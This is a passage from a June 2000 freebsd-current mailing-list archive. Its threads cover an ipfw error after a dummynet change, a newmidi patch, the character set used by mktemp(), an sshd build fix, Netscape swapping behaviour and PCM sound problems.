Michael D. Harnois, Redeemer Lutheran Church, Washburn, IA mdharnois@home.com aa0bt@aa0bt.ampr.org If there be time to expose through discussion the falsehood and fallacies, to avert the evil by the processes of education, the remedy to be applied is more speech, not enforced silence. -- Louis Brandeis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:16:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from MexComUSA.Net (adsl-63-200-120-86.dsl.mtry01.pacbell.net [63.200.120.86]) by hub.freebsd.org (Postfix) with ESMTP id 45F2F37BA58 for ; Sun, 11 Jun 2000 14:16:33 -0700 (PDT) (envelope-from eculp@EnContacto.Net) Received: from EnContacto.Net (adsl-63-205-16-202.dsl.mtry01.pacbell.net [63.205.16.202]) by MexComUSA.Net (8.9.3/8.9.3) with ESMTP id OAA57913; Sun, 11 Jun 2000 14:15:42 -0700 (PDT) (envelope-from eculp@EnContacto.Net) Message-ID: <394401A5.8A5FC42E@EnContacto.Net> Date: Sun, 11 Jun 2000 14:16:21 -0700 From: Edwin Culp Organization: MexComUSA.Net/EnContacto.Net X-Mailer: Mozilla 4.73 [en] (X11; I; Linux 2.2.12 i386) X-Accept-Language: en MIME-Version: 1.0 To: Luigi Rizzo Cc: "current@FreeBSD.ORG" Subject: Re: setsockopt(IP_FW_ADD) References: <200006112059.WAA12389@info.iet.unipi.it> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Luigi Rizzo wrote: > > 00050 divert 8668 ip from any to any via dc0 > > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > > > I'm getting this error with ipfw running current as of this morning. > > Has something changed? > > well, there was a commit to dummynet few days ago, which requires > you to recompile ipfw. Luigi, Thanks a lot. It appears to have been a not very smart, oversite:-) when changing my kernel config. thanks again, ed > > > cheers > luigi > > -----------------------------------+------------------------------------- > Luigi RIZZO, luigi@iet.unipi.it . Dip. di Ing. dell'Informazione > http://www.iet.unipi.it/~luigi/ . Universita` di Pisa > TEL/FAX: +39-050-568.533/522 . via Diotisalvi 2, 56126 PISA (Italy) > Mobile +39-347-0373137 > -----------------------------------+------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:27:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.bart.nl (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id CFCA837BA58; Sun, 11 Jun 2000 14:27:15 -0700 (PDT) (envelope-from asmodai@lucifer.bart.nl) Received: (from asmodai@localhost) by lucifer.bart.nl (8.9.3/8.9.3) id XAA22594; Sun, 11 Jun 2000 23:27:07 +0200 (CEST) (envelope-from asmodai) Date: Sun, 11 Jun 2000 23:27:07 +0200 From: Jeroen Ruigrok van der Werven To: Seigo Tanimura Cc: current@FreeBSD.ORG, peter@FreeBSD.ORG Subject: Re: Newmidi Release Candidate is ready Message-ID: <20000611232707.B21553@lucifer.bart.nl> References: <14659.36623.170970.72159A@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <14659.36623.170970.72159A@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp>; from tanimura@r.dl.itc.u-tokyo.ac.jp on Sun, Jun 11, 2000 at 10:07:27PM +0900 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000611 15:16], Seigo Tanimura (tanimura@r.dl.itc.u-tokyo.ac.jp) wrote: >The release candidate of newmidi is finally ready. The patch for >-current can be found at: > >URI: http://people.FreeBSD.org/~tanimura/patches/newmidirc.diff.gz > >I will put this patch into the final test stage of 1 month. The date >of merge is hence going to be 11th July 2000. Few nits: mss.c: gusc.h isn't in this file anymore, this causes a reject. Also, NMIDI > 0 type of constructs are not needed anymore with 4.0 and higher IIRC. -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl Laat ons drinken op ons grote ongelijk... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:47: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.enteract.com (mail.enteract.com [207.229.143.33]) by hub.freebsd.org (Postfix) with ESMTP id A702A37CA11; Sun, 11 Jun 2000 14:47:04 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: from shell-1.enteract.com (dscheidt@shell-1.enteract.com [207.229.143.40]) by mail.enteract.com (8.9.3/8.9.3) with SMTP id QAA79105; Sun, 11 Jun 2000 16:47:04 -0500 (CDT) (envelope-from dscheidt@enteract.com) Date: Sun, 11 Jun 2000 16:47:04 -0500 (CDT) From: David Scheidt To: Kris Kennaway Cc: current@FreeBSD.org Subject: Re: mktemp() patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 7 Jun 2000, Kris Kennaway wrote: :This patch was developed by Peter Jeremy and myself and increases the :number of possible temporary filenames which can be generated by the :mktemp() family, by more densely encoding the PID and using a larger set :of characters to randomly pad with. : :Instead of using only alphabetic characters, the patch uses the following :character set: : :0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@#%^-_=+:,.~ ":" is path seperator in Apple's HFS filesystem. "@" is used as the line erase character in some shells. "#" is rubout in some shells. David Scheidt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:47:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 4E66437CAEE; Sun, 11 Jun 2000 14:47:11 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id OAA57110; Sun, 11 Jun 2000 14:47:11 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sun, 11 Jun 2000 14:47:11 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org, stable@freebsd.org Subject: sshd unbroken Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry for the world breakages, all, it turns out I was a bit eager to commit a security fix. World should be compilable again now (at least, if it breaks it should hopefully not be my fault :-) Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 14:53:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from sabre.velocet.net (sabre.velocet.net [198.96.118.66]) by hub.freebsd.org (Postfix) with ESMTP id D593837BB00 for ; Sun, 11 Jun 2000 14:53:23 -0700 (PDT) (envelope-from dgilbert@office.tor.velocet.net) Received: from office.tor.velocet.net (trooper.velocet.net [216.126.82.226]) by sabre.velocet.net (Postfix) with ESMTP id EE19C138053 for ; Sun, 11 Jun 2000 17:53:22 -0400 (EDT) Received: (from dgilbert@localhost) by office.tor.velocet.net (8.9.3/8.9.3) id RAA04066; Sun, 11 Jun 2000 17:53:22 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14660.2642.194412.404753@trooper.velocet.net> Date: Sun, 11 Jun 2000 17:53:22 -0400 (EDT) To: freebsd-current@freebsd.org Subject: (thoughts on) the mktemp() patch. X-Mailer: VM 6.75 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Maybe the soltion is to think out of the box. Maybe temporary filestore should be a more official OS service. Race conditions would be far less common if the OS itself was managing the namespace. You might even expand the capability somewhat. Provide process local, uid local and global namespaces. You'd even gain the ability to specify the limits on temporary filestore. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15: 2: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from sabre.velocet.net (sabre.velocet.net [198.96.118.66]) by hub.freebsd.org (Postfix) with ESMTP id 3E88937CA7D; Sun, 11 Jun 2000 15:01:59 -0700 (PDT) (envelope-from dgilbert@office.tor.velocet.net) Received: from office.tor.velocet.net (trooper.velocet.net [216.126.82.226]) by sabre.velocet.net (Postfix) with ESMTP id 5233A138051; Sun, 11 Jun 2000 18:01:55 -0400 (EDT) Received: (from dgilbert@localhost) by office.tor.velocet.net (8.9.3/8.9.3) id SAA04735; Sun, 11 Jun 2000 18:01:53 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14660.3153.658226.142964@trooper.velocet.net> Date: Sun, 11 Jun 2000 18:01:53 -0400 (EDT) To: freebsd-current@freebsd.org, freebsd-hackers@freebsd.org Subject: Worst case swapping. X-Mailer: VM 6.75 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm running a 700Mhz K7 with 256M of RAM as my workstation. I have two fast SCSI drives with a Gig of swap between them. The system shouldn't normally be a bottleneck as a workstation. I find, however, that there seem to be some bad worst-case senerios popping up rather often. Netscape is a good (common) example, but other memory stresses will show if the system is busy, too. What I'm talking about is a situation where some portion of the application will be swapped out and then when the application becomes active again, the swap will grind heavily reading and writing for 10-20 seconds (pushing 5M/s out and 5M/s in). Now the application in question (Netscape) usually runs around 50 to 75 megs, so that swapping activity is effectively swapping an amount of memory equavalent to the whole application out and then in again. My fear that this is a worst case scenario comes from this fact: that some other part of the application now-just-recently-active-again is being swapped out to bring in a part that was already swapped out. Now, you could argue that this case is hard to avoid, but I find this happening during periods of constant browsing ... such that only a small amount of the application could have been out. I'm positive that its not a case of the working set being larger than physical memory; it's one of choice of page to swap. Has anyone done any thinking about this behaviour? It occurs with varying degree to many applications. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15:20:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 0ACC437BA9D; Sun, 11 Jun 2000 15:20:44 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA29235; Sun, 11 Jun 2000 15:20:37 -0700 (PDT) (envelope-from dillon) Date: Sun, 11 Jun 2000 15:20:37 -0700 (PDT) From: Matthew Dillon Message-Id: <200006112220.PAA29235@apollo.backplane.com> To: David Gilbert Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Worst case swapping. References: <14660.3153.658226.142964@trooper.velocet.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :I'm running a 700Mhz K7 with 256M of RAM as my workstation. I have :two fast SCSI drives with a Gig of swap between them. The system :shouldn't normally be a bottleneck as a workstation. : :I find, however, that there seem to be some bad worst-case senerios :popping up rather often. :... ps axl. There must be stuff running on your system eating active memory other then just the browser. I have a 64MB workstation and run netscape on it all the time. Idled-out xterm's only take a second or so to swap-in after I've been doing other things / browsing for a while. :What I'm talking about is a situation where some portion of the :application will be swapped out and then when the application becomes :active again, the swap will grind heavily reading and writing for :10-20 seconds (pushing 5M/s out and 5M/s in). This can only happen if the programs running on the machine are eating more active memory then you have available. It should be possible to determine what is going on using 'vmstat 1' and 'ps axl'. :Now the application in question (Netscape) usually runs around 50 to :75 megs, so that swapping activity is effectively swapping an amount 50-75MB is a lot, but if you have 256MB of ram it can't be the cause unless there are other active things eating similar amounts of ram. It kinda sounds like a runaway to me. A ps axl during these heavy paging periods should shed some light on the problem. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15:32: 4 2000 Delivered-To: freebsd-current@freebsd.org Received: from sabre.velocet.net (sabre.velocet.net [198.96.118.66]) by hub.freebsd.org (Postfix) with ESMTP id 2676937C941; Sun, 11 Jun 2000 15:31:56 -0700 (PDT) (envelope-from dgilbert@office.tor.velocet.net) Received: from office.tor.velocet.net (trooper.velocet.net [216.126.82.226]) by sabre.velocet.net (Postfix) with ESMTP id E8A05138055; Sun, 11 Jun 2000 18:31:54 -0400 (EDT) Received: (from dgilbert@localhost) by office.tor.velocet.net (8.9.3/8.9.3) id SAA01203; Sun, 11 Jun 2000 18:31:50 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14660.4950.94654.399889@trooper.velocet.net> Date: Sun, 11 Jun 2000 18:31:50 -0400 (EDT) To: Matthew Dillon Cc: David Gilbert , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Worst case swapping. In-Reply-To: <200006112220.PAA29235@apollo.backplane.com> References: <14660.3153.658226.142964@trooper.velocet.net> <200006112220.PAA29235@apollo.backplane.com> X-Mailer: VM 6.75 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Matthew" == Matthew Dillon writes: Matthew> :Now the application in question (Netscape) usually runs Matthew> around 50 to :75 megs, so that swapping activity is Matthew> effectively swapping an amount Matthew> 50-75MB is a lot, but if you have 256MB of ram it can't Matthew> be the cause unless there are other active things eating Matthew> similar amounts of ram. Matthew> It kinda sounds like a runaway to me. A ps axl during Matthew> these heavy paging periods should shed some light on the Matthew> problem. Believe me, I look at these things. Yes there is a lot going on and a lot using memory. I normally have about 20% to 25% of my Gig of swap used... meaning that I have allocated roughly double my RAM in applications. And when this worst-case happens, memory is full... but the only active application is Netscape. On my home machine, the same thing tends to happen. It only has 128M and vastly fewer things going on. I see cases were I'm surfing for 20-30 minutes and I will hit this 10 to 30 second (longer, becase the swap at home is slower) gap in netscape response. The only other applications running would be something like a small UUCP transfer or a small amount of NFS traffic when the wife's (diskless) machine changes screensavers. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15:39:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from overcee.netplex.com.au (peter1.corp.yahoo.com [208.48.107.4]) by hub.freebsd.org (Postfix) with ESMTP id 38F7937BAAD; Sun, 11 Jun 2000 15:39:23 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id A04EC1CD7; Sun, 11 Jun 2000 15:39:22 -0700 (PDT) (envelope-from peter@netplex.com.au) X-Mailer: exmh version 2.1.1 10/15/1999 To: David Scheidt Cc: Kris Kennaway , current@FreeBSD.ORG Subject: Re: mktemp() patch In-Reply-To: Message from David Scheidt of "Sun, 11 Jun 2000 16:47:04 CDT." Date: Sun, 11 Jun 2000 15:39:22 -0700 From: Peter Wemm Message-Id: <20000611223922.A04EC1CD7@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Scheidt wrote: > On Wed, 7 Jun 2000, Kris Kennaway wrote: > > :This patch was developed by Peter Jeremy and myself and increases the > :number of possible temporary filenames which can be generated by the > :mktemp() family, by more densely encoding the PID and using a larger set > :of characters to randomly pad with. > : > :Instead of using only alphabetic characters, the patch uses the following > :character set: > : > :0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@#%^-_=+:,.~ > > ":" is path seperator in Apple's HFS filesystem. "@" is used as the line > erase character in some shells. "#" is rubout in some shells. # is a comment ~ at the beginning is a ~username ^ is an alias for | in old shells These could matter in the light of mktemp(1). file=`mktemp foo.XXXX` Why 74 characters? Why not 64? Cheers, -Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15:43:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id C238D37BDC4; Sun, 11 Jun 2000 15:43:30 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id PAA63094; Sun, 11 Jun 2000 15:43:30 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Sun, 11 Jun 2000 15:43:30 -0700 (PDT) From: Kris Kennaway To: Peter Wemm Cc: David Scheidt , current@FreeBSD.ORG Subject: Re: mktemp() patch In-Reply-To: <20000611223922.A04EC1CD7@overcee.netplex.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Jun 2000, Peter Wemm wrote: > These could matter in the light of mktemp(1). > file=`mktemp foo.XXXX` You guys are responding to old messages..I've already changed my mind about this. > Why 74 characters? Why not 64? The more characters we have in the sample set the larger the namespace and the better the statistical protection afforded by mktemp() Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15:46:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 4D89137BBB7; Sun, 11 Jun 2000 15:46:05 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA29392; Sun, 11 Jun 2000 15:46:03 -0700 (PDT) (envelope-from dillon) Date: Sun, 11 Jun 2000 15:46:03 -0700 (PDT) From: Matthew Dillon Message-Id: <200006112246.PAA29392@apollo.backplane.com> To: David Gilbert Cc: freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Worst case swapping. References: <14660.3153.658226.142964@trooper.velocet.net> <200006112220.PAA29235@apollo.backplane.com> <14660.4950.94654.399889@trooper.velocet.net> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Believe me, I look at these things. Yes there is a lot going on and a :lot using memory. I normally have about 20% to 25% of my Gig of swap :used... meaning that I have allocated roughly double my RAM in :applications. : :And when this worst-case happens, memory is full... but the only :active application is Netscape. : :On my home machine, the same thing tends to happen. It only has 128M :and vastly fewer things going on. I see cases were I'm surfing for :20-30 minutes and I will hit this 10 to 30 second (longer, becase the :swap at home is slower) gap in netscape response. : :The only other applications running would be something like a small :UUCP transfer or a small amount of NFS traffic when the wife's :(diskless) machine changes screensavers. : :Dave. Hmm. How large a memory-cache do you have configured for netscape? Disk cache? What is the RSS and VSZ of the netscape binary while the paging is going on? Please post a ps axl of the state of the system while the paging is going on. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 15:48:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 04C7B37C9B0; Sun, 11 Jun 2000 15:48:51 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id PAA29429; Sun, 11 Jun 2000 15:48:50 -0700 (PDT) (envelope-from dillon) Date: Sun, 11 Jun 2000 15:48:50 -0700 (PDT) From: Matthew Dillon Message-Id: <200006112248.PAA29429@apollo.backplane.com> To: Kris Kennaway Cc: Peter Wemm , David Scheidt , current@FreeBSD.ORG Subject: Re: mktemp() patch References: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :You guys are responding to old messages..I've already changed my mind :about this. : :> Why 74 characters? Why not 64? : :The more characters we have in the sample set the larger the namespace and :the better the statistical protection afforded by mktemp() : :Kris There's reasonable, and there's overkill. mktemp() has no business using punctuation in the temporary file names. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 16: 9:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from RedDust.BlueSky.net.au (reddust.bluesky.net.au [203.31.37.15]) by hub.freebsd.org (Postfix) with ESMTP id 70C1437B533 for ; Sun, 11 Jun 2000 16:09:44 -0700 (PDT) (envelope-from receiver@RedDust.BlueSky.net.au) Received: from localhost (receiver@localhost) by RedDust.BlueSky.net.au (8.9.3/8.9.3) with ESMTP id JAA73805; Mon, 12 Jun 2000 09:10:56 +1000 (EST) (envelope-from receiver@RedDust.BlueSky.net.au) Date: Mon, 12 Jun 2000 09:10:56 +1000 (EST) From: Idea Receiver To: Donn Miller Cc: current@FreeBSD.ORG Subject: Re: Problems with PCM and ESS 1868 In-Reply-To: <3943CB25.A71BE996@cvzoom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG my SBLive just wont play any mp3. it just simplye stop immediantly. It was ok before my recent make world. On Sun, 11 Jun 2000, Donn Miller wrote: > The recent commits to PCM, as of a few days back, have given me > problems with my ESS 1868. When I play MP3's with mpg123, I get a lot > of loud pops and clicks during playback. Otherwise, the MP3s DO play > all the way through. However, when I try to play MP3s with Real > Player 7, it just hangs at the beginning, and doesn't play the MP3. > Before the commits to PCM, I was able to play MP3s OK with Real Player > 7. > > - Donn > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 17: 1:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from corinth.bossig.com (corinth.bossig.com [208.26.239.66]) by hub.freebsd.org (Postfix) with ESMTP id CC2A837B5C9; Sun, 11 Jun 2000 17:01:27 -0700 (PDT) (envelope-from kstewart@3-cities.com) Received: from 3-cities.com (unverified [208.26.241.138]) by corinth.bossig.com (Rockliffe SMTPRA 4.2.1) with ESMTP id ; Sun, 11 Jun 2000 17:02:15 -0700 Message-ID: <39442834.F70AE453@3-cities.com> Date: Sun, 11 Jun 2000 17:00:52 -0700 From: Kent Stewart Organization: BOSSig (BOSS Internet Group) X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Matthew Dillon Cc: David Gilbert , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Worst case swapping. References: <14660.3153.658226.142964@trooper.velocet.net> <200006112220.PAA29235@apollo.backplane.com> <14660.4950.94654.399889@trooper.velocet.net> <200006112246.PAA29392@apollo.backplane.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matthew Dillon wrote: > > :Believe me, I look at these things. Yes there is a lot going on and a > :lot using memory. I normally have about 20% to 25% of my Gig of swap > :used... meaning that I have allocated roughly double my RAM in > :applications. > : > :And when this worst-case happens, memory is full... but the only > :active application is Netscape. > : > :On my home machine, the same thing tends to happen. It only has 128M > :and vastly fewer things going on. I see cases were I'm surfing for > :20-30 minutes and I will hit this 10 to 30 second (longer, becase the > :swap at home is slower) gap in netscape response. > : > :The only other applications running would be something like a small > :UUCP transfer or a small amount of NFS traffic when the wife's > :(diskless) machine changes screensavers. > : > :Dave. > > Hmm. How large a memory-cache do you have configured for netscape? > Disk cache? What is the RSS and VSZ of the netscape binary while > the paging is going on? Please post a ps axl of the state of the system > while the paging is going on. Netscape reallys goes to pot in a hurry if you allow it to use more than 1-2MB of memory cache. A friend was seeing a terrible response and tracked it back to Netscape's memory cache. He had a lot of memory and started out with something on the order of 16MB. By the time he was satisfied he was allowing less than ~2MB of memory cache, which is all I had ever allowed it to use. I seem to remember an affect on how much disk cache but that part of the memory has evaporated. Kent -- Kent Stewart Richland, WA mailto:kstewart@3-cities.com http://www.3-cities.com/~kstewart/index.html FreeBSD News http://daily.daemonnews.org/ SETI(Search for Extraterrestrial Intelligence) @ HOME http://setiathome.ssl.berkeley.edu/ Hunting Archibald Stewart, b 1802 in Ballymena, Antrim Co., NIR http://www.3-cities.com/~kstewart/genealogy/archibald_stewart.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 18:22:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from entropy.tmok.com (entropy.tmok.com [204.17.163.11]) by hub.freebsd.org (Postfix) with ESMTP id 94C8E37B77D; Sun, 11 Jun 2000 18:22:29 -0700 (PDT) (envelope-from wonko@entropy.tmok.com) Received: (from wonko@localhost) by entropy.tmok.com (8.9.3/8.9.3) id VAA69456; Sun, 11 Jun 2000 21:29:43 -0400 (EDT) From: Brian Hechinger Message-Id: <200006120129.VAA69456@entropy.tmok.com> Subject: Re: Worst case swapping. In-Reply-To: <39442834.F70AE453@3-cities.com> from Kent Stewart at "Jun 11, 2000 5: 0:52 pm" To: kstewart@3-cities.com (Kent Stewart) Date: Sun, 11 Jun 2000 21:29:43 -0400 (EDT) Cc: dillon@apollo.backplane.com, dgilbert@velocet.ca, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Reply-To: wonko@entropy.tmok.com X-Useless-Header: why? because i can. X-Organization: The Ministry of Knowledge X-Dreams: an OpenWin that is based on current MIT X11 releases X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Kent Stewart drunkenly mumbled... > > Netscape reallys goes to pot in a hurry if you allow it to use more > than 1-2MB of memory cache. A friend was seeing a terrible response > and tracked it back to Netscape's memory cache. He had a lot of memory > and started out with something on the order of 16MB. By the time he > was satisfied he was allowing less than ~2MB of memory cache, which is > all I had ever allowed it to use. i never screwed with the memory cache, but i've seen some pretty heavy memory leakage with navigator. how long have you had netscape running? an hour, a day, a week? my experience (it seems to have gotten better lately since the upgrade to 4.0 however) has seen starting size 16M, ending size 172M, running time of 13 days. of course, the fact that netscape actually ran for 13 days without crashing is a bit of a miracle itself. :) cheers, -brian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Jun 11 20:27: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.nuxi.com (nuxi.cs.ucdavis.edu [169.237.7.38]) by hub.freebsd.org (Postfix) with ESMTP id 033EA37B5BD for ; Sun, 11 Jun 2000 20:27:05 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: from dragon.nuxi.com (root@trang.nuxi.com [209.152.133.57]) by relay.nuxi.com (8.9.3/8.9.3) with ESMTP id UAA29016; Sun, 11 Jun 2000 20:27:02 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id UAA83727; Sun, 11 Jun 2000 20:27:32 -0700 (PDT) (envelope-from obrien) Date: Sun, 11 Jun 2000 20:27:32 -0700 From: "David O'Brien" To: Juriy Goloveshkin Cc: current@freebsd.org Subject: Re: static linked files in /usr/bin Message-ID: <20000611202732.B82436@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from juriy@avias.com on Sun, Jun 11, 2000 at 09:00:34PM +0400 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Jun 11, 2000 at 09:00:34PM +0400, Juriy Goloveshkin wrote: 